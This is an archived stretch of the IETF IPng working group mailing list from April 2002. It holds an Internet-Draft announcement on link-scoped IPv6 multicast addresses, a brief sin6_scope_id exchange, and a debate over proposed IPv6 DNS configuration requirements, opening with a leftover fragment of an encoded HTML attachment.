DQoNCgkJPFNQQU4gaWQ9Im5hdmJhciIgQ0xBU1M9Im5hdmJhciI+DQoJCQk8SU1HIENMQVNT PSJibGFja0JhciIgU1JDPSIuLi9pbWFnZXMvYmxhY2suZ2lmIj4NCgkJCTxTUEFOIElkPXNw YW5DYW5jZWwgb25jbGljaz0id2luZG93LnBhcmVudC5Hb0NhbmNlbCgpOyI+DQoJCQkJPElN RyBJZD1idG5DYW5jZWwgIGNsYXNzPWNhbmNlbEJ1dHRvbj4NCgkJCQk8U1BBTiBJZD1idG5D YW5jZWxUZXh0IGNsYXNzPWNhbmNlbEJ1dHRvblRleHQ+DQoJCQkJCTxJRCBpZD0iTE9DQUxf U0tJUCI+U2tpcDwvSUQ+DQoJCQkJPC9TUEFOPiANCgkJCTwvU1BBTj4NCgkJCTxTUEFOIElk PXNwYW5CYWNrIG9uY2xpY2s9IndpbmRvdy5oaXN0b3J5LmJhY2soKTsiPg0KCQkJCTxJTUcg SWQ9YnRuQmFjayAgY2xhc3M9YmFja0J1dHRvbj4NCgkJCQk8U1BBTiBJZD1idG5CYWNrVGV4 dCBjbGFzcz1iYWNrQnV0dG9uVGV4dD4NCgkJCQkJPElEIGlkPSJMT0NBTF9CQUNLIj5CYWNr PC9JRD4NCgkJCQk8L1NQQU4+IA0KCQkJPC9TUEFOPg0KCQkJPFNQQU4gSWQ9c3Bhbk5leHQg b25jbGljaz0id2luZG93LnBhcmVudC5Hb05leHQoKTsiPg0KCQkJCTxJTUcgSWQ9YnRuTmV4 dCBjbGFzcz1uZXh0QnV0dG9uPg0KCQkJCTxTUEFOIElkPWJ0bk5leHRUZXh0IGNsYXNzPW5l eHRCdXR0b25UZXh0Pg0KCQkJCQk8SUQgaWQ9IkxPQ0FMX05FWFQiPk5leHQ8L0lEPg0KCQkJ CTwvU1BBTj4gDQoJCQk8L1NQQU4+DQoJCTwvU1BBTj4gDQoJPC9CT0RZPg0KPC9IVE1MPg0K --Pwi85iIBn1R45rl9Ir3P4gE8821-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 04:13:27 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NBDRGs012099; Tue, 23 Apr 2002 04:13:27 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NBDRBZ012098; Tue, 23 Apr 2002 04:13:27 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NBDNGs012091 for ; Tue, 23 Apr 2002 04:13:23 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA28280 for ; Tue, 23 Apr 2002 04:13:24 -0700 (PDT) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA24742 for ; Tue, 23 Apr 2002 04:13:21 -0700 (PDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA11723; Tue, 23 Apr 2002 07:13:18 -0400 (EDT) Message-Id: <200204231113.HAA11723@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ipng@sunroof.eng.sun.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipv6-link-scoped-mcast-00.txt Date: Tue, 23 Apr 2002 07:13:17 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Version 6 Working Group Working Group of the IETF. Title : Link Scoped IPv6 Multicast Addresses Author(s) : J. Park, M. Shin, Y. Kim Filename : draft-ietf-ipv6-link-scoped-mcast-00.txt Pages : 6 Date : 22-Apr-02 This document specifies an extension to the multicast addressing architecture of the IPv6 protocol. The extension allows for the use of interface-ID to allocate multicast addresses. When the link-local unicast address is configured at each interface of host, interface ID is uniquely determined. By delegating multicast addresses at the same time as interface ID, each host can identify their multicast addresses automatically at Layer 1 without running an intra- or inter-domain allocation protocol in the serverless environments. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipv6-link-scoped-mcast-00.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipv6-link-scoped-mcast-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipv6-link-scoped-mcast-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020422135126.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipv6-link-scoped-mcast-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipv6-link-scoped-mcast-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020422135126.I-D@ietf.org> --OtherAccess-- --NextPart-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 04:15:31 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NBFVGs012136; Tue, 23 Apr 2002 04:15:31 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NBFVto012135; Tue, 23 Apr 2002 04:15:31 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NBFRGs012128 for ; Tue, 23 Apr 2002 04:15:27 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA17422 for ; Tue, 23 Apr 2002 04:15:28 -0700 (PDT) Received: from burp.tkv.asdf.org (burp.tkv.asdf.org [212.16.99.49]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA25536 for ; Tue, 23 Apr 2002 04:15:27 -0700 (PDT) Received: (from msa@localhost) by burp.tkv.asdf.org (8.9.3/8.9.3/Debian 8.9.3-21) id OAA13105; Tue, 23 Apr 2002 14:15:15 +0300 Date: Tue, 23 Apr 2002 14:15:15 +0300 Message-Id: <200204231115.OAA13105@burp.tkv.asdf.org> From: Markku Savela To: Francis.Dupont@enst-bretagne.fr CC: bodeneb@us.ibm.com, ipng@sunroof.eng.sun.com In-reply-to: <200204230954.g3N9s5T64867@givry.rennes.enst-bretagne.fr> (message from Francis Dupont on Tue, 23 Apr 2002 11:54:05 +0200) Subject: Re: sockaddr_in6::sin6_scope_id use References: <200204230954.g3N9s5T64867@givry.rennes.enst-bretagne.fr> Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > From: Francis Dupont > > The idea of having a scope id which is of different type than than the > address was rejected. > > => please don't reopen old discussion if you have no new argument. I'm Sorry. I have then missed the discussion on this mailing list since Seattle meeting, after which in followup messages I was mistakenly left impression that 4+28 model was not chosen. In any case, it was my intention to open this discussion, I just forgot the "?"-mark after the above statement! > Currently, I'm writing a version where identifiers scope type is > *always* determined from the address -- you cannot have isolated scope id. > > => the consensus is we'd like to have "isolated" scope ids. This is fine, I'm not objecting to 4+28. I was just noting that so far while implementing scoped addressing architecture, I have not found any need for 4+28 yet. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 04:41:55 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NBfsGs012195; Tue, 23 Apr 2002 04:41:54 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NBfsJb012194; Tue, 23 Apr 2002 04:41:54 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NBfpGs012187 for ; Tue, 23 Apr 2002 04:41:51 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA03430 for ; Tue, 23 Apr 2002 04:41:52 -0700 (PDT) Received: from burp.tkv.asdf.org (burp.tkv.asdf.org [212.16.99.49]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA13815 for ; Tue, 23 Apr 2002 05:41:51 -0600 (MDT) Received: (from msa@localhost) by burp.tkv.asdf.org (8.9.3/8.9.3/Debian 8.9.3-21) id OAA13147; Tue, 23 Apr 2002 14:41:49 +0300 Date: Tue, 23 Apr 2002 14:41:49 +0300 Message-Id: <200204231141.OAA13147@burp.tkv.asdf.org> From: Markku Savela To: msa@burp.tkv.asdf.org CC: Francis.Dupont@enst-bretagne.fr, bodeneb@us.ibm.com, ipng@sunroof.eng.sun.com In-reply-to: <200204231115.OAA13105@burp.tkv.asdf.org> (message from Markku Savela on Tue, 23 Apr 2002 14:15:15 +0300) Subject: Re: sockaddr_in6::sin6_scope_id use References: <200204230954.g3N9s5T64867@givry.rennes.enst-bretagne.fr> <200204231115.OAA13105@burp.tkv.asdf.org> Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Sigh... typing errors plague me... > From: Markku Savela > In any case, it was my intention to open this discussion, I just > forgot the "?"-mark after the above statement! Should have written.. In any case, it was NOT my intention to open this discussion, ... -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 05:28:53 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NCSrGs012274; Tue, 23 Apr 2002 05:28:53 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NCSr0N012273; Tue, 23 Apr 2002 05:28:53 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NCSoGs012266 for ; Tue, 23 Apr 2002 05:28:50 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA11670 for ; Tue, 23 Apr 2002 05:28:51 -0700 (PDT) Received: from funnel.cisco.com (funnel.cisco.com [161.44.168.79]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA20839 for ; Tue, 23 Apr 2002 06:28:50 -0600 (MDT) Received: from rdroms-w2k.cisco.com (rtp-vpn1-133.cisco.com [10.82.224.133]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id IAA28352 for ; Tue, 23 Apr 2002 08:28:48 -0400 (EDT) Message-Id: <4.3.2.7.2.20020423061818.03810eb8@funnel.cisco.com> X-Sender: rdroms@funnel.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 23 Apr 2002 08:28:43 -0400 To: ipng@sunroof.eng.sun.com From: Ralph Droms Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <4.3.2.7.2.20020421073905.00b8e5d0@funnel.cisco.com> References: <4.3.2.7.2.20020417161937.02a06020@mailhost.iprg.nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Here's my cut at a list of requirements for DNS Configuration. It's based on Bob's "IPv6 DNS Discovery Requirements Statement", previous discussions on DNS configuration, and my own $0.02. My intention is to list all of the requirements I've heard in the various discussions about DNS configuration. The requirements are numbered for reference and listed in order of importance. There are notes about some of the requirements following the list. Questions for the WG: Are there other requirements not covered by this list? Do any of the requirements need clarification? Should any of the requirements be discarded? What is the order of importance of the requirements? - Ralph IPv6 DNS Configuration Requirements ------------------------------------ 1. Host receives IPv6 address(es) of DNS server(s) available to the host for DNS resolution 1.a. The list of servers includes only currently available servers 1.b. The host can obtain the addresses of new servers as needed 2. Hosts obtain DNS configuration with no manual configuration 3. The addresses of a particular server are provided to hosts with no manual configuration of that server 4. Hosts obtain DNS configuration using only those resources required for DNS resolution 5. Hosts obtain DNS configuration without the manual configuration of any external service 6. Hosts can (if desired) authenticate the reliability of servers 7. Definition of DNS configuration requires no additional protocol definition 8. Implementation of DNS configuration requires no additional protocol implementation 9. Time to initial deployment is minimal 10. Hosts have one way to perform DNS configuration 11. DNS configuration operates when host and DNS servers are in same site or in different sites 12. A network administrator can control what servers a host uses 13. Host is configured with domain and domain search list Notes: ------ 2. (and 3.) Hosts and DNS servers operate as "plug-and-play" or "zeroconf" 7. "additional protocol definition" means protocols not currently a standard or defined in a standards-track Internet Draft 8. "no additional protocol implementation" means hosts and servers are not required to include code for protocols that they wouldn't otherwise implement 10. Hosts shouldn't need to try several different DNS Configuration protocols to find which one is available on a link 11. Hosts and DNS servers can exchange datagrams using site-local addresses -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 05:53:56 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NCrtGs012313; Tue, 23 Apr 2002 05:53:55 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NCrtku012312; Tue, 23 Apr 2002 05:53:55 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NCrqGs012305 for ; Tue, 23 Apr 2002 05:53:52 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA14692 for ; Tue, 23 Apr 2002 05:53:54 -0700 (PDT) Received: from munnari.OZ.AU (munnari.OZ.AU [128.250.1.21]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with SMTP id FAA05017 for ; Tue, 23 Apr 2002 05:53:52 -0700 (PDT) Received: from mundamutti.cs.mu.OZ.AU ([128.250.1.5]) by munnari.OZ.AU with SMTP (5.83--+1.3.1+0.59) id MA25243; Tue, 23 Apr 2002 22:53:46 +1000 (from kre@munnari.OZ.AU) From: Robert Elz To: Ralph Droms Cc: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <4.3.2.7.2.20020423061818.03810eb8@funnel.cisco.com> References: <4.3.2.7.2.20020423061818.03810eb8@funnel.cisco.com> <4.3.2.7.2.20020417161937.02a06020@mailhost.iprg.nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 23 Apr 2002 22:53:45 +1000 Message-Id: <23502.1019566425@mundamutti.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Tue, 23 Apr 2002 08:28:43 -0400 From: Ralph Droms Message-ID: <4.3.2.7.2.20020423061818.03810eb8@funnel.cisco.com> | Here's my cut at a list of requirements for DNS Configuration. I quite like this list, except perhaps ... | 10. Hosts have one way to perform DNS configuration Unless that means only what the notes say ... | 10. Hosts shouldn't need to try several different DNS Configuration | protocols to find which one is available on a link That's fine - a host should only need to try one way, but there should me multiple possible ways to obtain the config, just as we have for every other config option for IPv6. Obviously, the admin of a host must be able to manually config the DNS servers that are to be used (switch off any autoconfig that the host would normally do). And if autoconfig is enabled, we need both the "managed" variety, where someone actually does configure and run a server that supplies exactly the info that that administrator says should be supplied (this basically means discovery via DHCP I think) - but we must not require that, we also need the option where the host simply figures out what exists, for the cases where there is no network admin, or the admin simply doesn't care. | 11. Hosts and DNS servers can exchange datagrams using site-local | addresses I'm not sure how that relates to point 11... | 11. DNS configuration operates when host and DNS servers are in same | site or in different sites I wouldn't be including anything about address scoping in a requirements list, not even in notes, that's a potential part of the solution, not of the requirements. kre ps: while a solution that requires no additional implementation or specification would be nice, I certainly wouldn't rule out anything just on that basis - we have (or should have) the manual option now, and should have dhcp as an option sometime soon, if not now, the idea for the third form (configureless autodiscovery) should be that it work well, and be rationally defined, not just the best we can grab out of the protocols that exist today. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 06:16:50 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NDGnGs012341; Tue, 23 Apr 2002 06:16:50 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NDGnqn012340; Tue, 23 Apr 2002 06:16:49 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NDGkGs012333 for ; Tue, 23 Apr 2002 06:16:46 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA16542 for ; Tue, 23 Apr 2002 06:16:48 -0700 (PDT) From: john.loughney@nokia.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA24555 for ; Tue, 23 Apr 2002 07:16:47 -0600 (MDT) Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35]) by mgw-x2.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g3NDH5F02860 for ; Tue, 23 Apr 2002 16:17:05 +0300 (EET DST) Received: from esebh002.NOE.Nokia.com (unverified) by esvir03nok.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Tue, 23 Apr 2002 16:16:45 +0300 Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.3779); Tue, 23 Apr 2002 16:16:45 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Proposed IPv6 DNS Discovery Requirements Date: Tue, 23 Apr 2002 16:16:44 +0300 Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEFC64FC7@esebe004.NOE.Nokia.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Proposed IPv6 DNS Discovery Requirements Thread-Index: AcHqxi9vixqPlfYcTdugcUzi7NJrWwAAsk9A To: , Cc: X-OriginalArrivalTime: 23 Apr 2002 13:16:45.0552 (UTC) FILETIME=[1DFCD700:01C1EAC9] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g3NDGlGs012334 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Robert, > | Here's my cut at a list of requirements for DNS Configuration. > > I quite like this list, except perhaps ... > > | 10. Hosts have one way to perform DNS configuration > > Unless that means only what the notes say ... > > | 10. Hosts shouldn't need to try several different DNS > Configuration > | protocols to find which one is available on a link > > That's fine - a host should only need to try one way, but there should > me multiple possible ways to obtain the config, just as we have for > every other config option for IPv6. I agree - would a default method be what is meant? John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 06:23:55 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NDNtGs012363; Tue, 23 Apr 2002 06:23:55 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NDNtcP012362; Tue, 23 Apr 2002 06:23:55 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NDNpGs012355 for ; Tue, 23 Apr 2002 06:23:51 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA25304 for ; Tue, 23 Apr 2002 06:23:53 -0700 (PDT) Received: from astro.cs.utk.edu (astro.cs.utk.edu [160.36.58.43]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA13186 for ; Tue, 23 Apr 2002 07:23:51 -0600 (MDT) Received: from astro.cs.utk.edu (localhost [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id g3NDNie22908; Tue, 23 Apr 2002 09:23:44 -0400 (EDT) Message-Id: <200204231323.g3NDNie22908@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Ralph Droms cc: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-reply-to: (Your message of "Tue, 23 Apr 2002 08:28:43 EDT.") <4.3.2.7.2.20020423061818.03810eb8@funnel.cisco.com> Date: Tue, 23 Apr 2002 09:23:44 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I strongly disagree with a number of the 'requirements' you've proposed. 1. it is not possible in general for a host to determine it's proper DNS configuration from information provided by the network, because the DNS search path that the host wants to use may not be the one that the local network specifies. even trusting the local network's DNS servers to serve as the interface to other DNS zones is a stretch. it's fine if hosts want to do this, not fine to insist that they do this. hosts MUST therefore be able to specify their own DNS configuration which overrides that specified by the local network environment, and this seems to contradict your 'requirements' #10 and #12. 2. re 'requirement' #12: it's absolutely unacceptable for IETF to dictate that a network administrator can 'control' what DNS servers a host can use - this is fundamentally a host issue and not a network issue; it's outside of the scope of what a network should be able to dictate to a host. again, the fact that a host is currently connected to a certain location in the network should not be taken as evidence that the context in which that host operates (dns servers, search path, default domain) should have anything to do with that network location. 3. 'requirements' #7,8 are premature at best and probably a fantasy. it's highly unlikely that DNS discovery can be implemented without some new protocol definition and implementation, even if you use similar packet formats and port # to those that exist now you are certainly going to need to change client and server code - and that is a protocol change. so I think at the very least these are poorly worded. more importantly, this decision is best made after alternatives have been considered - not as an a priori 'requirement' that presumes the solution. 4. I'm not at all sure what it means to 'authenticate the reliability' of a server, so I think this needs to be reworded. 5. note #7: there's no such thing as a 'standards-track Internet Draft' 6. requirement #11 and your note about #11 seem to be mutually exclusive - you can't use site-local addresses when the host and server are at different sites. of course, it's fine to use site-local addresses between hosts and servers at the same site. > IPv6 DNS Configuration Requirements > ------------------------------------ > > 1. Host receives IPv6 address(es) of DNS server(s) available to the > host for DNS resolution > 1.a. The list of servers includes only currently available > servers > 1.b. The host can obtain the addresses of new servers as needed > 2. Hosts obtain DNS configuration with no manual configuration > 3. The addresses of a particular server are provided to hosts with no > manual configuration of that server > 4. Hosts obtain DNS configuration using only those resources required > for DNS resolution > 5. Hosts obtain DNS configuration without the manual configuration of > any external service > 6. Hosts can (if desired) authenticate the reliability of servers > 7. Definition of DNS configuration requires no additional > protocol definition > 8. Implementation of DNS configuration requires no additional protocol > implementation > 9. Time to initial deployment is minimal > 10. Hosts have one way to perform DNS configuration > 11. DNS configuration operates when host and DNS servers are in same > site or in different sites > 12. A network administrator can control what servers a host uses > 13. Host is configured with domain and domain search list > > Notes: > ------ > 2. (and 3.) Hosts and DNS servers operate as "plug-and-play" or > "zeroconf" > 7. "additional protocol definition" means protocols not currently a > standard or defined in a standards-track Internet Draft > 8. "no additional protocol implementation" means hosts and servers > are not required to include code for protocols that they wouldn't > otherwise implement > 10. Hosts shouldn't need to try several different DNS Configuration > protocols to find which one is available on a link > 11. Hosts and DNS servers can exchange datagrams using site-local > addresses > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 06:50:24 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NDoNGs012411; Tue, 23 Apr 2002 06:50:23 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NDoNRV012410; Tue, 23 Apr 2002 06:50:23 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NDoKGs012400 for ; Tue, 23 Apr 2002 06:50:20 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA02947 for ; Tue, 23 Apr 2002 06:50:20 -0700 (PDT) Received: from fep01-mail.bloor.is.net.cable.rogers.com (fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA03269 for ; Tue, 23 Apr 2002 06:50:19 -0700 (PDT) Received: from cr121494a ([24.42.58.113]) by fep01-mail.bloor.is.net.cable.rogers.com (InterMail vM.5.01.04.13 201-253-122-122-113-20020313) with ESMTP id <20020423135019.ZDAH216840.fep01-mail.bloor.is.net.cable.rogers.com@cr121494a> for ; Tue, 23 Apr 2002 09:50:19 -0400 From: "Ray Stevens" To: Subject: RE: A funny website - VIRUS Date: Tue, 23 Apr 2002 09:51:24 -0400 Message-ID: <002101c1eacd$f5e36400$713a2a18@ym.phub.net.cable.rogers.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft 